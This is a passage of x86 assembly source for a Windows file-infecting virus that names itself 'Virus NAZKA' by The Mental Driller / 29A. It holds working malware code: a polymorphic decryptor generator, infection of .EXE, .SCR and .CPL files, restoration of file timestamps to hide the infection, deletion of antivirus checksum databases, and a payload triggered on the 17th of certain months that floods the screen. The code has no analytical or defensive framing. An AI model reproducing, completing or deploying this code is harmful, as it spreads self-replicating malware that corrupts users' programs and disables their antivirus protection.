lea ecx, [ebp+offset DecreaseCounter]
lea edx, [ebp+offset @@Return]
call RandomCalling
;; Select counter zero checking
@@Again1: call RandomFlags
jz @@OtherSet
js @@Again1
@@TEST: mov al, 85h
jmp @@PutOpcode
@@OtherSet: js @@OR
@@AND: mov al, 23h
jmp @@PutOpcode
@@OR: mov al, 0Bh
@@PutOpcode: stosb
mov al, 0C0h
mov dl, [ebp+CounterRegister]
or al, dl
shl dl, 3
or al, dl
stosb
;; Select jump to the begin of the loop
call RandomFlags
jz @@PutJNZ
@@PutJNS: mov al, 79h
jmp @@PutJump
@@PutJNZ: mov al, 75h
@@PutJump: stosb
inc edi
mov eax, [ebp+InicLoop]
sub eax, edi
mov [edi-1], al
inc byte ptr [ebp+NumberOfDecryptor]
cmp byte ptr [ebp+NumberOfDecryptor], 3
jnz @@MakeNextDecryptor
lea ecx, [edi+5]
sub ecx, [ebp+DecryptorsBeginAddress]
mov eax, [ebp+Distance]
sub eax, ecx
push eax
mov al, 0E9h
stosb
pop eax
stosd
popa
@@Return: ret
PutDecryptors endp
NumberOfDecryptor db 0
DecryptorsBeginAddress dd 0
Distance dd 0
InicLoop dd 0
IndexRegister db 0
CounterRegister db 0
KeyRegister db 0
IncreaseIndex proc
pusha
mov dl, [ebp+IndexRegister]
mov byte ptr [ebp+SubtractFlag], 0
mov cl, 4
CommonEntryForModification:
@@IncreaseAgain:
call RandomFlags
jz @@Next
js @@PutINC
@@PutSUB: mov byte ptr [ebp+PutADDFlag], 0
@@CommonPutADDSUB:
or dl, dl
jnz @@NotSUBEAX
mov al, 2Dh
stosb
jmp @@Again1
@@NotSUBEAX: mov ax, 0E883h
or ah, dl
stosw
@@Again1: call Random
and eax, 3
inc al
cmp al, cl
ja @@Again1
sub cl, al
cmp byte ptr [ebp+PutADDFlag], 1
jz @@Jump3
cmp byte ptr [ebp+SubtractFlag], 1
jz @@Jump5
@@Negate: neg eax
jmp @@Jump5
@@Jump3: cmp byte ptr [ebp+SubtractFlag], 1
jz @@Negate
@@Jump5: cmp byte ptr [edi-1], 2Dh
jnz @@Jump1
stosd
jmp @@Jump2
@@Jump1: stosb
@@Jump2: jmp @@End
@@PutINC: dec cl
mov al, 40h
cmp byte ptr [ebp+SubtractFlag], 1
jnz @@Jump6
add al, 8
@@Jump6: add al, dl
stosb
jmp @@End
@@Next: js @@PutLEA
@@PutADD: mov byte ptr [ebp+PutADDFlag], 1
jmp @@CommonPutADDSUB
@@PutLEA: mov ah, dl
shl dl, 3
or ah, dl
shr dl, 3
or ah, 40h
mov al, 8Dh
stosw
@@Again2: call Random
and al, 3
inc al
cmp al, cl
ja @@Again2
sub cl, al
cmp byte ptr [ebp+SubtractFlag], 1
jnz @@Jump7
neg al
@@Jump7: stosb
@@End: or cl, cl
jnz @@IncreaseAgain
mov [esp+S_EDI], edi
popa
ret
IncreaseIndex endp
DecreaseCounter proc
pusha
mov dl, [ebp+CounterRegister]
mov cl, 1
mov byte ptr [ebp+SubtractFlag], 1
jmp CommonEntryForModification
DecreaseCounter endp
PutADDFlag db 0
SubtractFlag db 0
PutCounterValue proc
pusha
mov ecx, (Virus_Size+1000h)/4 + 1
mov dl, [ebp+CounterRegister]
jmp PutMOV
PutCounterValue endp
PutIndexValue proc
pusha
mov ecx, [ebp+RelocHeader]
add ecx, [ebp+MappingAddress]
mov ecx, [ecx+0Ch]
mov esi, [ebp+PEHeaderAddress]
add ecx, [esi+34h]
mov dl, [ebp+IndexRegister]
jmp PutMOV
PutIndexValue endp
PutKeyValue proc
pusha
movzx ecx, byte ptr [ebp+NumberOfDecryptor]
mov ecx, dword ptr [4*ecx+ebp+DecryptKey]
mov dl, [ebp+KeyRegister]
PutKeyValue endp
PutMOV proc
call RandomFlags
jz @@Next
js PutMOV
@@PutMOV3: mov ax, 058Dh
shl dl, 3
or ah, dl
stosw
@@Store1: mov eax, ecx
stosd
@@Exit: mov [esp+S_EDI], edi
popa
ret
@@Next: js @@PutMOV2
@@PutMOV1: mov al, 0B8h
add al, dl
stosb
jmp @@Store1
@@PutMOV2: mov al, 68h
stosb
mov eax, ecx
stosd
mov al, 58h
add al, dl
stosb
jmp @@Exit
PutMOV endp
RandomCalling proc
mov esi, 5
@@Again: call RandomFlags
jz @@Jump1
xchg ebx, ecx
@@Jump1: call RandomFlags
jz @@Jump2
xchg ecx, edx
@@Jump2: call RandomFlags
jz @@Jump3
xchg edx, ebx
@@Jump3: dec esi
jnz @@Again
push ebx
push ecx
jmp edx
RandomCalling endp
RandomFlags proc
push eax
call Random
sahf
pop eax
ret
RandomFlags endp
ConstructNameForReloc proc
pusha
;; Method 2: Put a name like .?text or .?code
;; Method 1: A set of four to six chars with '.' at the beginning
in al, 40h
test al, 1
jnz @@RandomName
and al, 1Fh
cmp al, 19h
jbe @@OK
sub al, 19h
@@OK: add al, 61h
mov ah, al
mov al, '.'
push ax
mov eax, 'et?.'
pop ax
mov ebx, 0+'tx'
mov ecx, [ebp+RelocHeader]
add ecx, edi
mov dword ptr [ecx], eax
mov dword ptr [ecx+4], ebx
popa
ret
@@RandomName: mov ecx, [ebp+RelocHeader]
add ecx, edi
inc ecx
mov edx, 4
mov eax, esp
@@Loop_001: in al, 40h
xor al, ah
add ah, al
and al, 1Fh
add al, 61h
cmp al, 79h
jbe @@OK2
sub al, 19h
@@OK2: mov [ecx], al
inc ecx
dec edx
jnz @@Loop_001
mov byte ptr [ecx], 0
popa
ret
ConstructNameForReloc endp
FindFileMask1 db '*.EXE',0
FindFileMask2 db '*.SCR',0
FindFileMask3 db '*.CPL',0
OpenFile proc
push 0
push 0
push 3
push 0
push 0
push 0c0000000h
push ebx
call dword ptr [ebp+RVA_CreateFileA]
inc eax
jz @@Error
dec eax
mov dword ptr [ebp+FileHandle], eax
clc
ret
@@Error: stc
ret
OpenFile endp
MapFile proc
push 0
push dword ptr [ebp+FileSizeLow]
push 0
push 4
push 0
push dword ptr [ebp+FileHandle]
call dword ptr [ebp+RVA_CreateFileMappingA]
or eax, eax
jz @@FinError
mov dword ptr [ebp+MappingHandle], eax
push dword ptr [ebp+FileSizeLow]
push 0
push 0
push 2
push dword ptr [ebp+MappingHandle]
call dword ptr [ebp+RVA_MapViewOfFile]
or eax, eax
jc @@FinError2
mov dword ptr [ebp+MappingAddress], eax
clc
ret
@@FinError2: push dword ptr [ebp+MappingHandle]
call dword ptr [ebp+RVA_CloseHandle]
@@FinError: stc
ret
MapFile endp
MappingHandle dd 0
MappingAddress dd 0
FileHandle dd 0
UnmapFile proc
push dword ptr [ebp+MappingAddress]
call dword ptr [ebp+RVA_UnmapViewOfFile]
push dword ptr [ebp+MappingHandle]
call dword ptr [ebp+RVA_CloseHandle]
ret
UnmapFile endp
CheckFileName proc
push ebx
push edx
lea esi, [ebp+FileName]
mov ebx, esi
dec ebx
@@Loop_001: lodsb
or al, al
jnz @@Loop_001
std
dec esi
dec esi
@@Loop_002: lodsb
cmp al, '\'
jz @@EndName2
cmp al, ':'
jz @@EndName2
cmp esi, ebx
jnz @@Loop_002
jmp @@EndName
@@EndName2: inc esi
@@EndName: cld
inc esi
lodsw
movzx edx, ax
call ToLower
cmp edx, 0+'bt'
jz @@Error
cmp edx, 0+'cs'
jz @@Error
cmp edx, 0+'-f'
jz @@Error
cmp edx, 0+'ap'
jz @@Error
cmp edx, 0+'rd'
jz @@Error
dec esi
dec esi
dec esi
@@Again: inc esi
cmp byte ptr [esi], 'v'
jz @@Error
cmp byte ptr [esi], 'V'
jz @@Error
cmp byte ptr [esi], 0
jnz @@Again
mov edx, [esi-4]
call ToLower
cmp edx, 'exe.'
jz @@ItsOK
cmp edx, 'rcs.'
jnz @@Error
cmp eax, 'lpc.'
jnz @@Error
@@ItsOK: pop edx
pop ebx
clc
ret
@@Error: pop edx
pop ebx
stc
ret
CheckFileName endp
ToLower proc
push ecx
mov ecx, 4
@@Loop_001: cmp dl, 'A'
jb @@Next
cmp dl, 'Z'
ja @@Next
add dl, 20h
@@Next: rol edx, 8
loop @@Loop_001
pop ecx
ret
ToLower endp
DeleteDATs proc
lea ebx, [ebp+FileDAT1]
call DeleteFile
lea ebx, [ebp+FileDAT2]
call DeleteFile
lea ebx, [ebp+FileDAT3]
call DeleteFile
lea ebx, [ebp+FileDAT4]
call DeleteFile
ret
DeleteDATs endp
DeleteFile proc
push 80h
push ebx
call dword ptr [ebp+RVA_SetFileAttributesA]
push ebx
call dword ptr [ebp+RVA_DeleteFileA]
ret
DeleteFile endp
FileDAT1 db 'AVP.CRC',0
FileDAT2 db 'ANTI-VIR.DAT',0
FileDAT3 db 'CHKLIST.MS',0
FileDAT4 db 'IVB.NTZ',0
RestoreDateTime proc
lea ebx, [ebp+CreationTime]
push ebx
add ebx, 8
push ebx
add ebx, 8
push ebx
push dword ptr [ebp+FileHandle]
call dword ptr [ebp+RVA_SetFileTime]
ret
RestoreDateTime endp
Addr_Kernel32 dd 0
;,,,,,,,,,,,,,
;;; PAYLOADS ;
;'''''''''''''
Payload proc
;; Let's do the payload in the day 17 of March, June,
;; September and December
lea eax, [ebp+offset SystemTime]
push eax
call dword ptr [ebp+RVA_GetSystemTime]
cmp word ptr [ebp+Day], 11h
jnz @@Return
mov al, byte ptr [ebp+Month]
cmp al, 3
jz @@RunPayload
cmp al, 6
jz @@RunPayload
cmp al, 9
jz @@RunPayload
cmp al, 0Ch
jnz @@Return
@@RunPayload: lea eax, [ebp+ASC_User32]
call LoadLibrary
jc @@Return
mov [ebp+ModuleToUse], eax
lea esi, [ebp+CrunchedUser32Functions]
lea edx, [ebp+User32RVAs]
call GetRVAs
jc @@Return
lea eax, [ebp+ASC_GDI32]
call LoadLibrary
jc @@Return
mov [ebp+ModuleToUse], eax
lea esi, [ebp+CrunchedGDI32Functions]
lea edx, [ebp+GDI32RVAs]
call GetRVAs
jc @@Return
push 0
call dword ptr [ebp+RVA_GetDC]
mov dword ptr [ebp+HandleDC], eax
@@SelectPayload:
in al, 40h
and al, 3
mov byte ptr [ebp+PayloadIdent], al
jz @@SelectPayload
cmp al, 2
jb @@Payload1
@@Payload2: lea ebx, [ebp+Payload2]
jmp @@CreateThread
@@Payload1: lea ebx, [ebp+Payload1]
@@CreateThread: lea eax, [ebp+offset RedBrush] ; Me la pela
push eax
push 0
push 0
push ebx
push 0
push 0
call dword ptr [ebp+RVA_CreateThread]
@@Return: ret
Payload endp
Payload1 proc
call @@GetDeltaOffset
@@GetDeltaOffset:
pop ebp
sub ebp, offset @@GetDeltaOffset
push 00FF0000h
call dword ptr [ebp+RVA_CreateSolidBrush]
mov dword ptr [ebp+RedBrush], eax
push 0000FF00h
call dword ptr [ebp+RVA_CreateSolidBrush]
mov dword ptr [ebp+GreenBrush], eax
push 000000FFh
call dword ptr [ebp+RVA_CreateSolidBrush]
mov dword ptr [ebp+BlueBrush], eax
push 0000FFFFh
call dword ptr [ebp+RVA_CreateSolidBrush]
mov dword ptr [ebp+YellowBrush], eax
push 00FF00FFh
call dword ptr [ebp+RVA_CreateSolidBrush]
mov dword ptr [ebp+MagentaBrush], eax
@@Again: lea eax, [ebp+TimerProcedure]
push eax
push 60h
push 0
push 0
call dword ptr [ebp+RVA_SetTimer]
mov [ebp+Timer], eax
push 0
push offset MB_Title
push offset Identificator
push 0
call dword ptr [ebp+RVA_MessageBoxA]
push dword ptr [ebp+Timer]
push 0
call dword ptr [ebp+RVA_KillTimer]
jmp @@Again
Payload1 endp
Payload2 proc
call @@GetDeltaOffset
@@GetDeltaOffset:
pop ebp
sub ebp, offset @@GetDeltaOffset
@@Again: push 0
call dword ptr [ebp+RVA_GetDC]
mov dword ptr [ebp+HandleDC], eax
push 0000FF00h
push dword ptr [ebp+HandleDC]
call dword ptr [ebp+RVA_SetTextColor]
push 0
push dword ptr [ebp+HandleDC]
call dword ptr [ebp+RVA_SetBkColor]
cmp byte ptr [ebp+PayloadIdent], 2
jz @@SetPixel
@@TextOutA: push 9
lea eax, [ebp+StringToScreen]
push eax
jmp @@Common
@@SetPixel: call Random
and eax, 0FFFFFFh
push eax
@@Common: call Random
and eax, 7FFh
push eax
call Random
and eax, 7FFh
push eax
push dword ptr [ebp+HandleDC]
cmp byte ptr [ebp+PayloadIdent], 2
jz @@SetPixel2
@@TextOut2: call dword ptr [ebp+RVA_TextOutA]
jmp @@Again
@@SetPixel2: call dword ptr [ebp+RVA_SetPixel]
jmp @@Again
Payload2 endp
StringToScreen db 'N A Z K A'
PayloadIdent db 0
Contador db 0
Timer dd 0
TimerProcedure proc
pusha
call @@GetDeltaOffset
@@GetDeltaOffset:
pop ebp
sub ebp, offset @@GetDeltaOffset
movzx ebx, byte ptr [ebp+Contador]
inc ebx
cmp bl, 5
jnz @@Continue1
xor bl, bl
@@Continue1: mov byte ptr [ebp+Contador], bl
xor esi, esi
@@Again: push 0
call dword ptr [ebp+RVA_GetDC]
mov dword ptr [ebp+HandleDC], eax
push dword ptr [4*ebx+ebp+RedBrush]
push dword ptr [ebp+HandleDC]
call dword ptr [ebp+RVA_SelectObject]
push dword ptr [4*esi+ebp+Number]
mov eax, [4*esi+ebp+Letra]
add eax, ebp
push eax
push dword ptr [ebp+HandleDC]
call dword ptr [ebp+RVA_Polygon]
dec ebx
jns @@Salto
mov ebx, 4
@@Salto: inc esi
cmp esi, 5
jnz @@Again
popa
ret
TimerProcedure endp
HandleDC dd 0
RedBrush dd 0
BlueBrush dd 0
GreenBrush dd 0
YellowBrush dd 0
MagentaBrush dd 0
Number dd 06h
dd 04h
dd 06h
dd 07h
dd 04h
Letra dd offset Letra1
dd offset Letra2
dd offset Letra3
dd offset Letra4
dd offset Letra5
Letra1 dd 0, 0
dd 0h, 80h
dd 40h, 20h
dd 50h, 80h
dd 50h, 0
dd 10h, 60h
Letra2 dd 88h, 0
dd 60h, 80h
dd 88h, 20h
dd 0B0h, 80h
Letra3 dd 0C0h, 0
dd 100h, 10h
dd 0C0h, 78h
dd 110h, 70h
dd 0D0h, 70h
dd 110h, 8
Letra4 dd 120h, 0
dd 120h, 80h
dd 12Ch, 40h
dd 170h, 80h
dd 130h, 38h
dd 170h, 0
dd 12Ch, 30h
Letra5 dd 1A8h, 0
dd 180h, 80h
dd 1A8h, 20h
dd 1D0h, 80h
MB_Title db 'Virus NAZKA',0
Identificator db '(c) Virus NAZKA by The Mental Driller / 29A',0
LoadLibrary proc
push eax
call dword ptr [ebp+RVA_LoadLibraryA]
or eax, eax
jz @@Error
clc
ret
@@Error: stc
ret
LoadLibrary endp
ASC_User32 db 'user32.dll',0
ASC_GDI32 db 'gdi32.dll',0
CrunchedUser32Functions label dword
ASC_GetDC db 0F2h, 'DC',0
ASC_SetTimer db 0F6h, 'Timer',0
ASC_KillTimer db 'KillTimer',0
ASC_MessageBoxA db 'MessageBoxA',0
db 0
CrunchedGDI32Functions label dword
ASC_CreateSolidBrush db 0F0h, 'SolidBrush',0
ASC_Polygon db 'Polygon',0
ASC_SelectObject db 'SelectObject',0
ASC_SetTextColor db 0F6h, 'TextColor',0
ASC_SetBkColor db 0F6h, 'BkColor',0
ASC_SetPixel db 0F6h, 'Pixel',0
ASC_TextOutA db 'TextOutA',0
db 0
User32RVAs label dword
RVA_GetDC dd 0
RVA_SetTimer dd 0
RVA_KillTimer dd 0
RVA_MessageBoxA dd 0
GDI32RVAs label dword
RVA_CreateSolidBrush dd 0
RVA_Polygon dd 0
RVA_SelectObject dd 0
RVA_SetTextColor dd 0
RVA_SetBkColor dd 0
RVA_SetPixel dd 0
RVA_TextOutA dd 0
;; 0F0h --> Create
;; 0F1h --> File
;; 0F2h --> Get
;; 0F3h --> DirectoryA
;; 0F4h --> Find
;; 0F5h --> Process
;; 0F6h --> Set
;; 0F7h --> AttributesA
ASC_Create db 'Create'
ASC_Get db 'Get'
ASC_DirectoryA db 'DirectoryA'
ASC_Process db 'Process'
ASC_Set db 'Set'
ASC_AttributesA db 'AttributesA'
CrunchedASCIIs label dword
ASC_CreateFileA db 0F0h, 0F1h, 'A',0
ASC_CreateProcessA db 0F0h, 0F5h, 'A',0
ASC_FindFirstFileA db 0F4h, 'First', 0F1h, 'A',0
ASC_FindNextFileA db 0F4h, 'Next', 0F1h, 'A',0
ASC_GetFileAttributesA db 0F2h, 0F1h, 0F7h,0
ASC_SetFileAttributesA db 0F6h ,0F1h, 0F7h,0
ASC_GetFullPathNameA db 0F2h, 'FullPathNameA',0
ASC_MoveFileA db 'Move', 0F1h, 'A',0
ASC_CopyFileA db 'Copy', 0F1h, 'A',0
ASC_DeleteFileA db 'Delete', 0F1h, 'A',0
ASC_WinExec db 'WinExec',0
ASC__lopen db '_lopen',0
ASC_MoveFileExA db 'Move', 0F1h, 'ExA',0
ASC_OpenFile db 'Open', 0F1h,0
ASC_WriteProcessMemory db 'Write', 0F5h, 'Memory',0
ASC_GetCurrentProcess db 0F2h, 'Current', 0F5h,0
ASC_CreateFileMappingA db 0F0h, 0F1h, 'MappingA',0
ASC_MapViewOfFile db 'MapViewOf', 0F1h,0
ASC_UnmapViewOfFile db 'UnmapViewOf', 0F1h,0
ASC_CloseHandle db 'CloseHandle',0
ASC_SetFilePointer db 0F6h, 0F1h, 'Pointer',0
ASC_SetEndOfFile db 0F6h, 'EndOf', 0F1h,0
ASC_SetFileTime db 0F6h, 0F1h, 'Time',0
ASC_GetWindowsDirectoryA db 0F2h, 'Windows', 0F3h,0
ASC_GetCurrentDirectoryA db 0F2h, 'Current', 0F3h,0
ASC_SetCurrentDirectoryA db 0F6h, 'Current', 0F3h,0
ASC_GetSystemDirectoryA db 0F2h, 'System', 0F3h,0
ASC_GetSystemTime db 0F2h, 'SystemTime',0
ASC_LoadLibraryA db 'LoadLibraryA',0
ASC_FindClose db 0F4h, 'Close',0
ASC_VirtualAlloc db 'VirtualAlloc',0
ASC_VirtualFree db 'VirtualFree',0
ASC_CreateThread db 0F0h, 'Thread',0
db 0
FunctionsToPatch label dword
RVA_GetProcAddress dd 0
RVAs label dword
RVA_CreateFileA dd 0
RVA_CreateProcessA dd 0
RVA_FindFirstFileA dd 0
RVA_FindNextFileA dd 0
RVA_GetFileAttributesA dd 0
RVA_SetFileAttributesA dd 0
RVA_GetFullPathNameA dd 0
RVA_MoveFileA dd 0
RVA_CopyFileA dd 0
RVA_DeleteFileA dd 0
RVA_WinExec dd 0
RVA__lopen dd 0
RVA_MoveFileExA dd 0
RVA_OpenFile dd 0
RVA_WriteProcessMemory dd 0
RVA_GetCurrentProcess dd 0
RVA_CreateFileMappingA dd 0
RVA_MapViewOfFile dd 0
RVA_UnmapViewOfFile dd 0
RVA_CloseHandle dd 0
RVA_SetFilePointer dd 0
RVA_SetEndOfFile dd 0
RVA_SetFileTime dd 0
RVA_GetWindowsDirectoryA dd 0
RVA_GetCurrentDirectoryA dd 0
RVA_SetCurrentDirectoryA dd 0
RVA_GetSystemDirectoryA dd 0
RVA_GetSystemTime dd 0
RVA_LoadLibraryA dd 0
RVA_FindClose dd 0
RVA_VirtualAlloc dd 0
RVA_VirtualFree dd 0
RVA_CreateThread dd 0
SystemTime label dword
Year dw 0
Month dw 0
DayOfWeek dw 0
Day dw 0
Hours dw 0
Minutes dw 0
Seconds dw 0
Miliseconds dw 0
org SystemTime
FindFileField label dword
FileAttributes dd 0
CreationTime dd 0
dd 0
LastAccessTime dd 0
dd 0
LastWriteTime dd 0
dd 0
FileSizeHigh dd 0
FileSizeLow dd 0
Reserved dd 0
dd 0
FileName db 104h dup (0)
AlternateFileName db 10h dup (0)
FindFileFieldSize equ $ - offset FindFileField
Random proc
push ecx
mov eax, [ebp+DwordAleatorio1]
dec dword ptr [ebp+DwordAleatorio1]
xor eax, [ebp+DwordAleatorio2]
mov ecx, eax
rol dword ptr [ebp+DwordAleatorio1], cl
add [ebp+DwordAleatorio1], eax
adc eax, [ebp+DwordAleatorio2]
add eax, ecx
ror eax, cl
not eax
sub eax, 3
xor [ebp+DwordAleatorio2], eax
xor eax, [ebp+DwordAleatorio3]
rol dword ptr [ebp+DwordAleatorio3], 1
sub dword ptr [ebp+DwordAleatorio3], ecx
sbb dword ptr [ebp+DwordAleatorio3], 4
inc dword ptr [ebp+DwordAleatorio2]
pop ecx
ret
Random endp
SystemTimeReceiver label dword
DwordAleatorio1 dd 12345678h
DwordAleatorio2 dd 9ABCDEF0h
DwordAleatorio3 dd 0A40d1739h ; :))
DecrunchBuffer db 21 dup (0)
align 4 ; Align on a 4-byte boundary
End_Virus label dword
FakedHost: push 0
push offset Titulo
push offset Mensaje
push 0
call MessageBoxA
@@Fin: push 0
call ExitProcess
end Nazka